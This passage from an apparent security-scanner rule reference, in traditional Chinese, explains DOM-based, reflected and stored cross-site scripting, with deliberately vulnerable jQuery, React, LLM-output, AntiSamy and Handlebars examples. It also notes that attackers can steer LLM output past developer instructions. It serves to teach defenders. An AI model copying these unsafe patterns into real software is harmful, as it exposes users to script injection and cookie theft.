var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});


如果文字輸入中的員工識別碼 (識別碼為 eid) 只包含標準英數字元,這些程式碼便會正確地運作。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

範例 3:以下程式碼顯示了 React 應用程式內基於 DOM 的 XSS 範例:


let element = JSON.parse(getUntrustedInput());
ReactDOM.render(<App>
{element}
</App>);


Example 3 中,如果攻擊者可以控制從 getUntrustedInput() 擷取的整個 JSON 物件,則可能會讓 React 將 element 解譯為元件,因此可以傳遞具有 dangerouslySetInnerHTML 及其自己的控制值的物件 (典型的 Cross-Site Scripting 攻擊)。

一開始,這些似乎不會輕易受到攻擊。畢竟,誰會提供包含在自己電腦上執行的惡意程式碼的輸入?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 直接從 HTTP 要求讀取資料,並直接回傳至 HTTP 回應。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料記憶體中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] XSS via a spoofed React element Daniel LeCheminant
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_dom
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在以 DOM 為基礎的人工智慧 (AI) XSS 案例中,來自 AI 提示回應的資料會透過用戶端程式碼寫回頁面。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料存放區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。在基於 DOM 的 XSS 案例中,一旦受害者的瀏覽器開始剖析 HTML 頁面,就會開始執行惡意內容,且成為建立 DOM (Document Object Model,文件物件模型) 的一部分。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 JavaScript 程式碼片段會從大型語言模型 (LLM) 擷取回應並顯示給使用者。


<SCRIPT>
var response = llm.invoke(user_prompt);
...
document.write(response);
</SCRIPT>


當攻擊者可以修改瀏覽器的 DOM,使用戶端程式碼將以非預期且潛在危險的方式執行時,就會發生以 DOM 為基礎的 XSS。

LLM 的輸出無法預料,這使得攻擊者能夠利用即時工程技術產生意外的輸出,並繞過原本用於防止 LLM 產生危險回應的開發人員指令。

如同範例中所示,XSS 弱點是由包含 LLM 未經驗證回應的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 直接從 HTTP 要求讀取資料,並直接回傳至 HTTP 回應。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式會將危險資料儲存到資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者執行需要權限許可的操作,或者取得存取使用者專屬敏感資料的權限。

- 應用程式的外部來源會產生潛在的危險資料 (例如 LLM),將危險資料儲存在資料庫中,或從另一個資料存放區擷取資料。這些危險資料隨後會作為可信任的資料被回讀到應用程式,並包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_dom_ai
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。組態中的設定可盡量降低暴露於 Cross-Site Scripting 的風險
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料透過不可信賴的來源進入 Web 應用程式,通常是一個網頁要求或資料庫。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

因為針對 XSS 弱點的攻擊通常與攻擊者所控制惡意網站之間的通訊或重新導向動作有關,可以插入導向至其他網域內容的參照,對惡意程式而言,更如虎添翼。您可將 AntiSamy 設定為避免連線至外部網域的連結,也就可以降低攻擊者可能透過 XSS 攻擊所造成的損害。但是,這種保護機制只解決了部分問題,而且無法解決 XSS 弱點所造成的整體威脅。

範例 1:以下 AntiSamy 組態項目允許連結到應用程式執行網域以外的 URL。

<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167, CCI-001310
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.config.java.xss_external_links
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。使用 Handlebars 時,您可以建立可用於修改範本的自訂協助程式。


2.包含在動態內容中的資料,在呈現之前未經驗證即插入範本中。如果是 Handlebars 協助程式,惡意內容會呈現為範本的輸出。

在 Handlebars 協助程式中,惡意內容是以 JavaScript 片段,或瀏覽器執行的其他程式碼類型的形式出現。由於 Handlebars 範本的輸出通常是要傳遞至瀏覽器的 HTML 內容,因此任何潛在的惡意內容都應視為不安全並進行驗證。

範例 1:設想以下 Handlebars 協助程式的程式碼:


Handlebars.registerHelper('bolden', function (aString) {
return new Handlebars.SafeString("" + aString + "")
})
// ...
let template = Handlebars.compile('{{bolden someArgument}}')
myElem.innerHTML = template({someArgument: userInput})


使用者控制的資料 userInput 傳遞至 bolden 協助程式。雖然使用雙中括號 ({{}}) 通常意味著輸出將是 HTML 編碼,但在這種情況下,bolden 協助程式透過將輸入傳遞到 new Handlebars.SafeString() 覆寫了任何驗證,進而導致輸入轉譯為一般 HTML。當 HTML 從 template() 傳回時,會被傳遞到 innerHTML 屬性,進而導致以 DOM 為基礎的 XSS。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
